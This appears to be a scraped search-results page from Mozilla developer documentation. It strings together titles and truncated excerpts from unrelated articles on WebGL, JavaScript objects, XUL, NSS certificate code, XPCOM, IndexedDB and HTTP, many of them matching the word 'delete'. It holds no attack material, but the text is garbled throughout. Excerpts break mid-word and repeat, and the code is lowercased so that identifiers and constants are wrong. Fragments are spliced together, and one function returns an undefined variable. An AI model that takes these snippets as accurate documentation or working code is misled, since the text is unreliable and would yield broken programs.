ble/enablevertexattribarray) drawing from static, unchanging vaos is faster than mutating the same vao for every draw call.
...jects are orphaned and destroy them.
...= gl.timeout_expired) { settimeout(test, interval_ms); return; } resolve(); } test()); }); } async function getbuffersubdataasync( gl, target, buffer, srcbyteoffset, dstbuffer, /* optional */ dstoffset, /* optional */ length) { const sync = gl.fencesync(gl.sync_gpu_commands_complete, 0); gl.flush(); await clientwaitasync(gl, sync, 0, 10); gl.deletesync(sync); gl.bindbuffer(target, buffer); gl.getbuffersubdata(target, srcbyteoffset, dstbuffer, dstoffset, length); gl.bindbuffer(target, null); return dest; } async function readpixelsasync(gl, x, y, w, h, format, type, dest) { const buf = gl.createbuffer(); gl.bindbuffer(gl.pixel_pack_buffer, buf); gl.bufferdata(gl.pixel_pack_buffer, dest.bytelength, gl.stream_read); gl.readp...
...urn dest; } async function readpixelsasync(gl, x, y, w, h, format, type, dest) { const buf = gl.createbuffer(); gl.bindbuffer(gl.pixel_pack_buffer, buf); gl.bufferdata(gl.pixel_pack_buffer, dest.bytelength, gl.stream_read); gl.readpixels(x, y, w, h, format, type, 0); gl.bindbuffer(gl.pixel_pack_buffer, null); await getbuffersubdataasync(gl, gl.pixel_pack_buffer, buf, 0, dest); gl.deletebuffer(buf); return dest; } canvas and webgl-related some tips are relevent to webgl, but deal with other apis.
HTTP request methods - HTTP
Web › HTTP › Methods
using get should only retrieve data.
...ould only retrieve data.
...ieve data.
...t resource.
getter - JavaScript
ers this will create a pseudo-property latest for object obj, which will return the last array item in log.
...hich will return the last array item in log.
...turn the last array item in log.
...lculate the value.
Array.prototype.forEach() - JavaScript
processed in the array.
... value.
...ning the this seen by a function.
...t entry of the whole array is shifted off—resulting in all remaining entries moving up one position.
JSON.parse() - JavaScript
ar v; var value = holder[key]; if (value && typeof value === "object") { for (k in value) { if (object.prototype.hasownproperty.call(value, k)) { v = walk(value, k); if (v !== undefined) { value[k] = v; } else { delete value[k]; } } } } return reviver.call(holder, key, value); } // parsing happens in four stages.
... // but just to be safe, we want to reject all unexpected forms.
...roperties and proceeding to the original value itself) are individually run through the reviver.
...d the property value as arguments.
Object.defineProperty() - JavaScript
riptor for the property being defined or modified.
...a getter-setter pair of functions.
...rtyisenumerable('c'); // false o.propertyisenumerable('d'); // true o.propertyisenumerable(symbol.for('e')); // true o.propertyisenumerable(symbol.for('f')); // false var p = { ...o } p.a // 1 p.b // undefined p.c // undefined p.d // 4 p[symbol.for('e')] // 5 p[symbol.for('f')] // undefined configurable attribute the configurable attribute controls at the same time whether the property can be deleted from the object and whether its attributes (other than value and writable) can be changed.
...t() {} }); // throws a typeerror (set was undefined previously) object.defineproperty(o, 'a', { get() { return 1; } }); // throws a typeerror // (even though the new get does exactly the same thing) object.defineproperty(o, 'a', { value: 12 }); // throws a typeerror // ('value' can be changed when 'configurable' is false but not in this case due to 'get' accessor) console.log(o.a); // logs 1 delete o.a; // nothing happens console.log(o.a); // logs 1 if the configurable attribute of o.a had been true, none of the errors would be thrown and the property would be deleted at the end.
Object - JavaScript
ate and return an empty object.
...ll return an object of a type that corresponds to the given value.
...responds to the given value.
...nd properties.
Transitioning to strict mode - JavaScript
en designed so that the transition to it can be made gradually.
...ansition to it can be made gradually.
...to change a value on the global object which is rarely the expected effect.
...rely the expected effect.
Moving, Copying and Deleting Files - Archive of obsolete content
and i/o not using the unavailable nsiscriptableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes.
...ing a file within the same directory, the destination argument may be null.
... example renames a file within the same directory: file.moveto(null, "hello.txt"); if the destination file already exists, nsifile.moveto() replaces the existing file.
List of commands - Archive of obsolete content
ordnext cmd_selectwordprevious cmd_selectwordnext cmd_beginline cmd_endline cmd_selectbeginline cmd_selectendline cmd_selectlineprevious cmd_selectlinenext cmd_selectpageprevious cmd_selectpagenext cmd_selectmovetop cmd_selectmovebottom editor commands (legal when the focus is anywhere where you can type text): cmd_paste - paste a selection from the clipboard cmd_pastequote cmd_delete cmd_deletecharbackward cmd_deletecharforward cmd_deletewordbackward cmd_deletewordforward cmd_deletetobeginningofline cmd_deletetoendofline cmd_scrolltop cmd_scrollbottom cmd_movetop cmd_movebottom cmd_selecttop cmd_selectbottom cmd_linenext cmd_lineprevious cmd_selectlinenext cmd_selectlineprevious cmd_charprevious cmd_charnext cmd_selectcharprevious cmd_selectcharnext cmd_b...
...etically) browser:addbookmark browser:addbookmarkas browser:addgroupmarkas browser:back browser:editpage browser:find browser:findagain browser:findprev browser:forward browser:home browser:managebookmark browser:open browser:openfile browser:print browser:printpreview browser:savepage browser:searchinternet browser:sendpage browser:uploadfile cmd_bm_copy cmd_bm_cut cmd_bm_delete cmd_bm_expandfolder cmd_bm_export cmd_bm_find cmd_bm_import cmd_bm_managefolder cmd_bm_movebookmark cmd_bm_newbookmark cmd_bm_newfolder cmd_bm_newseparator cmd_bm_open cmd_bm_openinnewtab cmd_bm_openinnewwindow cmd_bm_paste cmd_bm_properties cmd_bm_rename cmd_bm_selectall cmd_bm_setnewbookmarkfolder cmd_bm_setnewsearchfolder cmd_bm_setpersonaltoolbarfolder cmd_bm_sortfolder c...
...rk cmd_bm_newfolder cmd_bm_newseparator cmd_bm_open cmd_bm_openinnewtab cmd_bm_openinnewwindow cmd_bm_paste cmd_bm_properties cmd_bm_rename cmd_bm_selectall cmd_bm_setnewbookmarkfolder cmd_bm_setnewsearchfolder cmd_bm_setpersonaltoolbarfolder cmd_bm_sortfolder cmd_bm_sortfolderbyname cmd_close cmd_closeothertabs cmd_closewindow cmd_copy cmd_copyimage cmd_copylink cmd_cut cmd_delete cmd_editpage cmd_findtypelinks cmd_findtypetext cmd_gotoline cmd_handlebackspace cmd_handleshiftbackspace cmd_minimizewindow cmd_neweditor cmd_neweditordraft cmd_neweditortemplate cmd_newnavigator cmd_newnavigatortab cmd_newtabwithtarget cmd_openhelp cmd_paste - paste a selection from the clipboard cmd_printsetup cmd_quit cmd_redo cmd_savepage cmd_scrollpagedown cmd_scrollpag...
MenuModification - Archive of obsolete content
ave a child menupopup.
...d menupopup.
...'t already exist.
Manipulating Lists - Archive of obsolete content
g over the selected items; if you modify the items in the list while iterating, the list will change and the selection properties may return different values.
... by index.
...g selected items the following example shows a method of deleting the selected items properly: example 4 : source view <script> function deleteselection(){ var list = document.getelementbyid('thelist'); var count = list.selectedcount; while (count--){ var item = list.selecteditems[0]; list.removeitemat(list.getindexofitem(item)); } } </script> <button label="delete" oncommand="deleteselection();"/> <listbox id="thelist" seltype="multiple"> <listitem label="cheddar"/> <listitem label="cheshire"/> <listitem label="edam"/> <listitem label="gouda"/> <listitem label="havartie"/> </listbox> inside the while loop we first get the selecteditem at index 0.
NPAPI plugin reference - Archive of obsolete content
d property identifiers, such as strings or integers.
... the browser.
...e.
Array.observe() - Archive of obsolete content
the array.observe() method was used for asynchronously observing changes to arrays, similar to object.observe() for objects.
...erved.
...e made, with the following argument: changes an array of objects each representing a change.
Reference - Archive of obsolete content
(pdt) what's funny is that this talk page shows up first in a google search for "btoa javascript".
...gle search for "btoa javascript".
...eady added those methods in the methods listing, but i haven't defined them yet.
Implementation Status - Archive of obsolete content
pported 4.3.9 xforms-submit partial see section 11.2 for more details 4.3.10 xforms-submit-serialize supported 4.4 notification events supported 4.4.1 xforms-insert supported 4.4.2 xforms-delete supported 4.4.3 xforms-value-changed supported 4.4.4 xforms-valid supported 4.4.5 xforms-invalid supported 4.4.6 xforms-readonly supported 4.4.7 xforms-readwrite supported ...
...10 xforms action module n/a 10.1 action supported 10.2 setvalue supported 10.3 insert partial we need to better handle when @at evaluates to nan, and we do not generate unique values for xsd:id nodes.
...submission options supported 11.9.1 the get submission method supported 11.9.2 the post, multipart-post, form-data-post, and urlencoded-post submission methods supported 11.9.3 the put submission method supported 11.9.4 the delete submission method unsupported 11.9.5 serialization as application/xml supported 11.9.6 serialization as multipart/related partial 330557; 11.9.7 serialization as multipart/form-data supported 11.9.8 serialization as applicati...
XForms Repeat Element - Archive of obsolete content
.
...gger> <label>insert a new item after the current one</label> <action ev:event="domactivate"> <insert nodeset="/my:lines/my:line" at="index('lineset')" position="after"/> <setvalue ref="/my:lines/my:line[index('lineset')]/@name"/> <setvalue ref="/my:lines/my:line[index('lineset')]/price">0.00</setvalue> </action> </trigger> <trigger> <label>remove current item</label> <delete ev:event="domactivate" nodeset="/my:lines/my:line" at="index('lineset')"/> </trigger> attribute based repeat when using xforms within host languages like xhtml, it is often necessary to create repeating structures within constructs such as html:table.
...o create powerful new widgets.
What are browser developer tools? - Learn web development
trols are not so clearly presented, but you should see the html if you haven't selected something else to appear in the window.
...y presented, but you should see the html if you haven't selected something else to appear in the window.
...you should see the html if you haven't selected something else to appear in the window.
Understanding client-side JavaScript frameworks - Learn web development
lo to react.
... now it is time to add one of the major parts of functionality that we're still missing — the ability to edit existing todo items.
...g everything ready to start developing our to-do list app features, which we'll go on to in subsequent articles.
Named Shared Memory
sharedmemory object.
...mory should be called to unmap the shared memory segment from the application's address space.
...mplementation, contents of the backing store for the shared memory can be exposed via the file system.
Enc Dec MAC Using Key Wrap CertReq PKCS10 CSR
= secsuccess; prarenapool *arena = null; void *exthandle = null; prfiledesc *outfile = null; certsubjectpublickeyinfo *spki = null; certcertificaterequest *cr = null; secitem *encoding = null; /* if the certificate request file already exists, delete it */ if (pr_access(certreqfilename, pr_access_exists) == pr_success) { pr_delete(certreqfilename); } /* open the certificate request file to write */ outfile = pr_open(certreqfilename, pr_create_file | pr_rdwr | pr_truncate, 00660); if (!outfile) { pr_fprintf(pr_stderr, "unable to open \"%s\" for writing (%ld, %ld).\n", ...
... const char *nicknamestr, prbool sigverify) { secstatus rv = secsuccess; prfiledesc *headerfile = null; certcertificate *cert = null; headertype htype = certenc; /* if the intermediate header file already exists, delete it */ if (pr_access(headerfilename, pr_access_exists) == pr_success) { pr_delete(headerfilename); } headerfile = pr_open(headerfilename, pr_create_file | pr_rdwr | pr_truncate, 00660); if (!headerfile) { pr_fprintf(pr_stderr, "unable to open \"%s\" for writing (%ld, %ld).\n", headerfilename, pr_geterror(), pr_getoserror()); rv = sec...
... ptext[modblocksize]; unsigned char encbuf[modblocksize]; unsigned int ptextlen; int index; unsigned int nwritten; unsigned int pad[1]; secitem paditem; unsigned int paddinglength = 0; seckeypublickey *pubkey = null; /* if the intermediate encrypted file already exists, delete it*/ if (pr_access(encryptedfilename, pr_access_exists) == pr_success) { pr_delete(encryptedfilename); } /* read certificate from header file */ rv = readfromheaderfile(headerfilename, certenc, &data, pr_true); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not read certificate from header file\n"); goto cleanup; } /* read in an ...
sample2
secoidtag hashalgtag, certname *subject, prbool ascii, const char *certreqfilename) { secoidtag signalgtag; secitem result; print32 numbytes; secstatus rv = secsuccess; prarenapool *arena = null; void *exthandle = null; prfiledesc *outfile = null; certsubjectpublickeyinfo *spki = null; certcertificaterequest *cr = null; secitem *encoding = null; /* if the certificate request file already exists, delete it */ if (pr_access(certreqfilename, pr_access_exists) == pr_success) { pr_delete(certreqfilename); } /* open the certificate request file to write */ outfile = pr_open(certreqfilename, pr_create_file | pr_rdwr | pr_truncate, 00660); if (!outfile) { pr_fprintf(pr_stderr, "unable to open \"%s\" for writing (%ld, %ld).\n", certreqfilename, pr_geterror(), pr_getoserror()); goto cleanup; } /* create ...
...ficate using nickname and saves it to the header file */ secstatus addcertificatetoheader(pk11slotinfo *slot, secupwdata *pwdata, const char *headerfilename, certcertdbhandle *certhandle, const char *nicknamestr, prbool sigverify) { secstatus rv = secsuccess; prfiledesc *headerfile = null; certcertificate *cert = null; headertype htype = certenc; /* if the intermediate header file already exists, delete it */ if (pr_access(headerfilename, pr_access_exists) == pr_success) { pr_delete(headerfilename); } headerfile = pr_open(headerfilename, pr_create_file | pr_rdwr | pr_truncate, 00660); if (!headerfile) { pr_fprintf(pr_stderr, "unable to open \"%s\" for writing (%ld, %ld).\n", headerfilename, pr_geterror(), pr_getoserror()); rv = secfailure; goto cleanup; } cert = cert_findcertbynicknameoremailadd...
...aderfile = null; prfiledesc *encfile = null; prfiledesc *infile = null; certcertificate *cert = null; secitem data; unsigned char ptext[modblocksize]; unsigned char encbuf[modblocksize]; unsigned int ptextlen; int index; unsigned int nwritten; unsigned int pad[1]; secitem paditem; unsigned int paddinglength = 0; seckeypublickey *pubkey = null; /* if the intermediate encrypted file already exists, delete it*/ if (pr_access(encryptedfilename, pr_access_exists) == pr_success) { pr_delete(encryptedfilename); } /* read certificate from header file */ rv = readfromheaderfile(headerfilename, certenc, &data, pr_true); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not read certificate from header file\n"); goto cleanup; } /* read in an ascii cert and return a certcertificate */ cert = cert_decodec...
NSS functions
3.2 and later pk11_createdigestcontext mxr 3.2 and later pk11_creategenericobject mxr 3.12 and later pk11_createmergelog mxr 3.12 and later pk11_createpbealgorithmid mxr 3.2 and later pk11_createpbev2algorithmid mxr 3.12 and later pk11_deletetokenprivatekey mxr 3.4 and later pk11_deletetokenpublickey mxr 3.4 and later pk11_deletetokensymkey mxr 3.4 and later pk11_derive mxr 3.2 and later pk11_derivewithflags mxr 3.2 and later pk11_derivewithflagsperm mxr 3.9 and later p...
... pk11_verifykeyok mxr 3.2 and later pk11_waitfortokenevent mxr 3.7 and later pk11_wrapsymkey mxr 3.2 and later pk11_writerawattribute mxr 3.12 and later pk11sdr_encrypt mxr 3.2 and later pk11sdr_decrypt mxr 3.2 and later sec_deletepermcertificate mxr 3.2 and later sec_deletepermcrl mxr 3.2 and later sec_dersigndata mxr 3.2 and later sec_destroycrl mxr 3.2 and later sec_findcrlbydercert mxr 3.2 and later sec_findcrlbyname mxr 3.2 and later sec_lookupcrls ...
...info mxr 3.2 and later seckey_destroypublickey mxr 3.2 and later seckey_publickeystrength mxr 3.2 and later seckey_updatecertpqg mxr 3.2 and later secmod_addnewmodule mxr 3.3 and later secmod_addnewmoduleex mxr 3.4 and later secmod_deletemoduleex mxr 3.12 and later secmod_cancelwait mxr 3.9.3 and later secmod_candeleteinternalmodule mxr 3.5 and later secmod_createmodule mxr 3.4 and later secmod_deletemodule mxr 3.4 and later secmod_findmodule mxr 3.4 and later secmo...
NSS Tools crlutil
using the certificate revocation list management tool newsgroup: mozilla.dev.tech.crypto the certificate revocation list (crl) management tool is a command-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
...ecify an action and are uppercase.
...md5 with rsa encryption issuer: "cn=nss test ca,o=bogus nss,l=mountain view,st=california,c=us" this update: wed feb 23 12:08:38 2005 entry (1): serial number: 40 (0x28) revocation date: wed feb 23 12:08:10 2005 entry (2): serial number: 42 (0x2a) revocation date: wed feb 23 12:08:40 2005 deleting crl from a database this example deletes crl from a database in the specified directory: crlutil -d -n nickname -d certdir importing crl into a database this example imports crl into a database: crlutil -i -i crl-file -d certdir file should has binary format of asn.1 encoded crl data.
JSAPI User Guide
ny different combinations of the parts, and giving applications precise control over how spidermonkey behaves.
... js_hasproperty js_hasucproperty js_lookupproperty js_lookupucproperty js_getproperty js_getucproperty js_getpropertyattributes js_getucpropertyattributes js_getpropertyattrsgetterandsetter js_getucpropertyattrsgetterandsetter js_setproperty js_setucproperty js_setpropertyattributes js_setucpropertyattributes js_deleteproperty2 js_deleteucproperty2 js_alreadyhasownproperty js_alreadyhasownucproperty unicode javascript source js_compilescript js_compileucscript js_compilescriptforprincipals js_compileucscriptforprincipals js_compilefunction js_compileucfunction js_compilefunctionforprincipals js_compileucfunctionforprincipals js...
...etnativestackquota.
JS_AliasElement
element array length.
...ty name you specify does not exist, js_aliaselement reports an error, and returns js_false.
...returns js_false.
JS_AliasProperty
property array.
...e you specify does not exist, js_aliasproperty reports an error, and returns js_false.
... is currently out of scope, already exists, or the alias itself cannot be assigned to the property, js_aliasproperty does not report an error, but returns js_false.
Using the Places history service
lags: called by gecko to store rendering information about a page.
...e whether there was a scrollbar, which allows more efficient layout if the page is revisited.
...e is revisited.
Avoiding leaks in JavaScript XPCOM components
to memory that has been returned to the heap (and potentially reused).
...ement for the programmer.
... they're new and delete.
How to build an XPCOM component in JavaScript
nts); // firefox 3.x note: starting with firefox 4.0 you will need to declare your component in chrome.manifest; classdescription and contractid properties on the other hand are no longer required.
...lation for extensions: copy helloworld.js, and helloworld.xpt (only if you defined and compiled the idl) to {extensiondir}/components/.
...t (only if you defined and compiled the idl) to {extensiondir}/components/.
XPCOM changes in Gecko 2.0
t objects—for example, the ability to call functions or get and set properties created by the xbl binding—you will need to use the xpcnativewrapper property wrappedjsobject to access wrapped objects.
...properties created by the xbl binding—you will need to use the xpcnativewrapper property wrappedjsobject to access wrapped objects.
...n extension that adds a delete button to a web mail service, and the service defines a window.delete() function that you need to call.
An Overview of XPCOM
r inside the component tracks the number of clients who have an interface to the components -- also known as the reference count.
...lt) { if (!aresult) { return ns_error_null_pointer; } *aresult = null; if (aiid.equals(kisupportsiid)) { *aresult = (void *) this; } if (!*aresult) { return ns_error_no_interface; } // add a reference addref(); return ns_ok; } ns_imethodimp_(nsrefcnt) sample::addref() { return ++mrefcnt; } ns_imethodimp_(nsrefcnt) sample::release() { if (--mrefcnt == 0) { delete this; return 0; } // optional: return the reference count return mrefcnt; } object interface discovery inheritance is another very important topic in object oriented programming.
...tion and initialization of someclass, which implements the someinterface abstract class, is contained within the new_someinterface function, which follows the factory design pattern: encapsulating the constructor int new_someinterface(someinterface** ret) { // create the object someclass* out = new someclass(); if (!out) return -1; // init the object if (out->init() == false) { delete out; return -1; } // cast to the interface *ret = static_cast<someinterface*>(out); return 0; } the factory is the class that actually manages the creation of separate instances of a component for use.
Detailed XPCOM hashtable guide
clared using const void*, and your client code must cast these pointers to the appropriate type.
...des most of the complexities of pldhash.
...t to store.
Observer Notifications
mpletely from the cache.
...e, and partially from the network (http 206 or 304 response).
...r example, suppose you've loaded a frame script into a tab using a browser message manager, and the user closes the tab.
nsIAccessibleEvent
0038 a table caption changed.
...'s row header changed.
...inimizestart 0x0016 event_minimizeend 0x0017 event_atk_property_change 0x0100 event_atk_selection_change 0x0101 event_atk_text_change 0x0102 event_atk_text_selection_change 0x0103 event_atk_text_caret_move 0x0104 event_atk_visible_data_change 0x0105 event_atk_table_model_change 0x0110 event_atk_table_row_insert 0x0111 event_atk_table_row_delete 0x0112 event_atk_table_row_reorder 0x0113 event_atk_table_column_insert 0x0114 event_atk_table_column_delete 0x0115 event_atk_table_column_reorder 0x0116 event_atk_link_selected 0x0117 event_atk_window_activate 0x0118 event_atk_window_create 0x0119 event_atk_window_deactivate 0x0120 event_atk_window_destroy 0x0121 event_atk_window_maximi...
nsICRLManager
security/manager/ssl/public/nsicrlmanager.idlscriptable please add a summary to this article.
...rlautoupdate(); boolean updatecrlfromurl(in wstring url, in wstring key); constants constant value description type_autoupdate_time_based 1 type_autoupdate_freq_based 2 methods computenextautoupdatetime() wstring computenextautoupdatetime( in nsicrlinfo info, in unsigned long autoupdatetype, in double noofdays ); parameters info autoupdatetype noofdays return value deletecrl() delete the crl.
...rlfromurl(in wstring url, in wstring key); constants constant value description type_autoupdate_time_based 1 type_autoupdate_freq_based 2 methods computenextautoupdatetime() wstring computenextautoupdatetime( in nsicrlinfo info, in unsigned long autoupdatetype, in double noofdays ); parameters info autoupdatetype noofdays return value deletecrl() delete the crl.
nsIMsgIncomingServer
value); void shutdown(); void storepassword(); astring tostring(); void writetofoldercache(in nsimsgfoldercache foldercache); attributes attribute type description accountmanagerchrome astring read only.
... read only.
... nsispamsettings spam settings.
nsIMsgProtocolInfo
the nsimsgprotocolinfo interface describes the capabilities of an account type.
...capabilities of an account type.
...uiresusername boolean true if the server requires a username to log on.
nsINavBookmarkObserver
long aitemid, in acstring aproperty, in boolean aisannotationproperty, in autf8string anewvalue, in prtime alastmodified, in unsigned short aitemtype, in long long aparentid, in acstring aguid, in acstring aparentguid ); parameters aitemid the id of the item that was changed.
...tants.
...this method notifies that the item was visited.
nsIPermissionManager
ction if no permission exists.
...sts.
...broadcasts the following notification when the permission list is changed: topic : "perm-changed" (perm_change_notification) broadcast whenever the permission list changes in some way.
Component; nsIPrefBranch
up.", the preferences "browser.startup.page", "browser.startup.homepage", and "browser.startup.homepage_override" can be accessed by simply passing "page", "homepage", or "homepage_override" to the various get/set methods.
... exist.
... remarks note: prior to gecko 6.0, this method would throw an exception if there was no user value set for the specified preference.
nsISmsDatabaseService
.createinstance(components.interfaces.nsismsdatabaseservice); method overview long savereceivedmessage(in domstring asender, in domstring abody, in unsigned long long adate); long savesentmessage(in domstring areceiver, in domstring abody, in unsigned long long adate); void getmessage(in long messageid, in long requestid, [optional] in unsigned long long processid); void deletemessage(in long messageid, in long requestid, [optional] in unsigned long long processid); void createmessagelist(in nsidommozsmsfilter filter, in boolean reverse, in long requestid, [optional] in unsigned long long processid); void getnextmessageinlist(in long listid, in long requestid, [optional] in unsigned long long processid); void clearmessagelist(in long listid); void markmessagerea...
...y a domstring containing the body text of the message.
...ing the body text of the message.
nsMsgMessageFlags
geflags.h.
....
...age has been forwarded.
Getting Started Guide
ase class.
...class that provides the member functions addref, and release.
...e it tells clients you are giving them ownership), however it can be the cause of an dangling pointer.
Mail event system
onitempropertychanged notifyitemintpropertychanged onitemintpropertychanged notifyitemboolpropertychanged onitemboolpropertychanged notifyitemunicharpropertychanged onitemunicharpropertychanged notifyitempropertyflagchanged onitempropertyflagchanged notifyitemevent onitemevent notifyfolderloaded onfolderloaded notifydeleteormovemessages ondeleteormovemessages sample code in this example, a listener will be set up to be notified when the message count changes in a folder: // our variable to know if the listener fired var listenerhasfired = false; var totalmessageslistenerhasfired = false; // the listening function that will react to changes function myonintpropertychanged(item, property, oldvalue, newv...
...t, item, viewstring) {}, onitemintpropertychanged: myonintpropertychanged, onitemboolpropertychanged: function(item, property, oldvalue, newvalue) {}, onitemunicharpropertychanged: function(item, property, oldvalue, newvalue) {}, onitempropertyflagchanged: function(item, property, oldflag, newflag) {}, onitemevent: function(item, event) = {}, onfolderloaded: function(afolder) = {} ondeleteormovemessagescompleted: function( afolder) = {}, } // now register myself as a listener on every mail folder var mailsession = components.classes["component://netscape/messenger/services/session"].
...ge count, such // as copying a message into this folder or something.
IndexedDB - Firefox Developer Tools
me of the object store.
...matic incrementation of the keys enabled?
...ect store are listed in the table.
Local Storage / Session Storage - Firefox Developer Tools
when an origin corresponding to local storage or session storage is selected within the storage inspector, the names and values of all the items corresponding to local storage or session storage will be listed in a table.
...storage is selected within the storage inspector, the names and values of all the items corresponding to local storage or session storage will be listed in a table.
...he items corresponding to local storage or session storage will be listed in a table.
CSSGroupingRule - Web APIs
rule that contains other rules nested within it.
...tances the cssgroupingrule derives from cssrule and inherits all properties of this class.
...cssgroupingrule derives from cssrule and inherits all properties of this class.
CSSKeyframesRule - Web APIs
yframesrule also implements the methods of that interface.
...so implements the methods of that interface.
... inserts a new keyframe rule into the current csskeyframesrule.
CacheStorage.keys() - Web APIs
Web › API › CacheStorage › keys
in this code snippet we wait for an activate event, and then run a waituntil() block that clears up any old, unused caches before a new service worker is activated.
...t for an activate event, and then run a waituntil() block that clears up any old, unused caches before a new service worker is activated.
... object using keys(), then check each key to see if it is in the whitelist.
ContentIndex - Web APIs
the contentindex interface of the content index api allows developers to register their offline enabled content with the browser.
...stelem); } } unregistering indexed content below is an asynchronous function, that removes an item from the content index.
...worker.ready; // feature detect content index if (!registration.index) return; // unregister content from index await registration.index.delete(article.id); } all the above methods are available within the scope of the service worker.
Element.classList - Web APIs
Web › API › Element › classList
0, arglen=arguments.length,val="",ele=this[" ucl"],proto=ele[" uclp"]; v !== arglen; ++v) { val = arguments[v] + "", checkifvalidclasslistentry("remove", val); for (var i=0, len=proto.length, resstr="", is=0; i !== len; ++i) if(is){ this[i-1]=this[i] }else{ if(this[i] !== val){ resstr+=this[i]+" "; }else{ is=1; } } if (!is) continue; delete this[len], proto.length -= 1, proto.value = resstr; } skippropchange = 1, ele.classname = proto.value, skippropchange = 0; }; window.domtokenlist = domtokenlist; function whenpropchanges(){ var evt = window.event, prop = evt.propertyname; if ( !skippropchange && (prop==="classname" || (prop==="classlist" && !defineproperty)) ) { var target =...
..."?" ucl":"classlist"]; var oldlen = protoobjproto.length; a: for(var ci = 0, clen = protoobjproto.length = tokens.length, sub = 0; ci !== clen; ++ci){ for(var inneri=0; inneri!==ci; ++inneri) if(tokens[inneri]===tokens[ci]) {sub++; continue a;} restokenlist[ci-sub] = tokens[ci]; } for (var i=clen-sub; i < oldlen; ++i) delete restokenlist[i]; //remove trailing indexs if(prop !== "classlist") return; skippropchange = 1, target.classlist = restokenlist, target.classname = strval; skippropchange = 0, restokenlist.length = tokens.length - sub; } } function polyfillclasslist(ele){ if (!ele || !("innerhtml" in ele)) throw typeerror("illegal invocation"); el...
...newval.trim().split(wsre), oldlen = protoobjproto.length; a: for(var ci = 0, clen = protoobjproto.length = toks.length, sub = 0; ci !== clen; ++ci){ for(var inneri=0; inneri!==ci; ++inneri) if(toks[inneri]===toks[ci]) {sub++; continue a;} restokenlist[ci-sub] = toks[ci]; } for (var i=clen-sub; i < oldlen; ++i) delete restokenlist[i]; //remove trailing indexs } }); defineproperty(ele, " uclp", { // for accessing the hidden prototype enumerable: 0, configurable: 0, writeable: 0, value: protoobj.prototype }); defineproperty(protoobjproto, " ucl", { enumerable: 0, configurable: 0, writeable: 0, value: ele }); } else { ele.classlist=restokenlist, ele[" uc...
FileSystemEntry.remove() - Web APIs
the filesystementry interface's method remove() deletes the file or directory from the file system.
...ional an optional callback which is called if the attempt to remove the file fails.
...t be deleted for safety reasons.
IDBCursor.update() - Web APIs
Web › API › IDBCursor › update
the update() method of the idbcursor interface returns an idbrequest object, and, in a separate thread, updates the value at the current position of the cursor in the object store.
... the update() method of the idbcursor interface returns an idbrequest object, and, in a separate thread, updates the value at the current position of the cursor in the object store.
...en use a cursor to iterate through all the records in the object store.
IDBCursor - Web APIs
Web › API › IDBCursor
t was used to obtain the cursor.
...sets the number of times a cursor should move its position forward.
...ursor to the next position along its direction, to the item whose key matches the optional key parameter.
IDBDatabase - Web APIs
the idbdatabase interface of the indexeddb api provides a connection to a database; you can use an idbdatabase object to open a transaction on your database then create, manipulate, and delete objects (data) in that database.
... stores currently in the connected database.
... yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5deleteobjectstorechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full...
IDBFactory - Web APIs
the idbfactory interface of the indexeddb api lets applications asynchronously access the indexed databases.
...lets applications asynchronously access the indexed databases.
... 71firefox android no support nonotes no support nonotes notes see bug 934640.opera android full support yessafari ios no support nosamsung internet android full support 10.0deletedatabasechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full su...
Using Service Workers - Web APIs
nerally used to do stuff that would have broken the previous version while it was still running, for example getting rid of old caches.
... while it was still running, for example getting rid of old caches.
...so you can rest assured that your clean-up operation will have completed by the time you get your first fetch event on the new service worker.
WebGLProgram - Web APIs
something to the screen.
...ting attribute data gl.bindbuffer(gl.array_buffer, buffer); gl.enablevertexattribarray(attributelocation); gl.vertexattribpointer(attributelocation, 3, gl.float, false, 0, 0); // draw a single triangle gl.drawarrays(gl.triangles, 0, 3); deleting the program if there is an error linking the program or you wish to delete an existing program, then it is as simple as running webglrenderingcontext.deleteprogram().
...blevertexattribarray(attributelocation); gl.vertexattribpointer(attributelocation, 3, gl.float, false, 0, 0); // draw a single triangle gl.drawarrays(gl.triangles, 0, 3); deleting the program if there is an error linking the program or you wish to delete an existing program, then it is as simple as running webglrenderingcontext.deleteprogram().
WebGL constants - Web APIs
on fragment_shader 0x8b30 passed to createshader to define a fragment shader.
...ment shader.
... vertex_shader 0x8b31 passed to createshader to define a vertex shader compile_status 0x8b81 passed to getshaderparamter to get the status of the compilation.
Multipart labels: Using ARIA for labels with embedded fields inside them - Accessibility
problem you have a form where you ask your user a question, but the answer is mentioned in the question itself.
... problem you have a form where you ask your user a question, but the answer is mentioned in the question itself.
...assic example we all know from our browser settings is the setting “delete history after x days”.
HTML documentation index - HTML: Hypertext Markup Language
Web › HTML › Index
ecommended options available to choose from within other controls.
...ble to choose from within other controls.
...element, html, html grouping content, reference, web, dd, description list, details the html <dd> element provides the description, definition, or value for the preceding term (<dt>) in a description list (<dl>).
Using HTTP cookies - HTTP
Web › HTTP › Cookies
usly stored cookies to the server using the cookie header.
...ide applications: php node.js python ruby on rails define the lifetime of a cookie the lifetime of a cookie can be defined in two ways: session cookies are deleted when the current session ends.
...storage api.
Warning - HTTP
Web › HTTP › Headers › Warning
eral be applied to any message, however some warn-codes are specific to caches and can only be applied to response messages.
...r type general header forbidden header name no syntax warning: <warn-code> <warn-agent> <warn-text> [<warn-date>] directives <warn-code> a three-digit warning number.
... <warn-code> a three-digit warning number.
HTTP Index - HTTP
Web › HTTP › Index
ds are sometimes referred as http verbs.
...erent semantic, but some common features are shared by a group of them: e.g.
...me common features are shared by a group of them: e.g.
HTTP response status codes - HTTP
Web › HTTP › Status
is valid but the resource itself does not exist.
...is used much more since some browsers, like chrome, firefox 27+, or ie9, use http pre-connection mechanisms to speed up surfing.
... current state of the server.
JavaScript data types and data structures - JavaScript
etrieved by a get access of the property.
...accessor property, and attributes other than [[value]] and [[writable]] cannot be changed.
...[[set]] function object or undefined the function is called with an argument that contains the assigned value and is executed whenever a specified property is attempted to be changed.
setter - JavaScript
